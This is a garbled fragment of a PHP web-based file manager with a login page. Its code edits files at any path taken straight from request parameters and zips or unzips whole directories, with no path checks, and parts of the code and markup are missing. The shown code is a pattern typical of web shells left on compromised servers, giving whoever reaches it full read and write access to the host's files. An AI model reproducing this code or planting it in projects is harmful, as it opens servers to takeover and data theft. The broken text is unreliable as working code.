File Manager Login

$err

"; ?>
=1024&&$i<3){$b/=1024;$i++;} return round($b,2).' '.$u[$i]; } /* ========================= SAVE EDIT FILE ========================= */ if(isset($_POST['savefile'])){ file_put_contents($_POST['path'], $_POST['content']); header("Location: ?dir=".urlencode(dirname($_POST['path']))); exit; } /* ========================= SHOW EDIT FILE ========================= */ if(isset($_GET['edit'])){ $p = realpath($_GET['edit']); if(is_file($p)){ $c = htmlspecialchars(file_get_contents($p)); ?> Edit File

Edit:

open($f.'.zip',ZipArchive::CREATE)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f)); foreach($it as $file){ if(!$file->isDir()){ $z->addFile($file,$file->getRealPath()); } } $z->close(); } } if(isset($_POST['unzip'])){ $z=new ZipArchive; if($z->open($dir.'/'.$_POST['unzip'])){ $z->extractTo($dir); $z->close(); } } header("Location: ?dir=".urlencode($dir)); exit; } ?> File Manager

File Manager :

Root | Back


NameSizeAction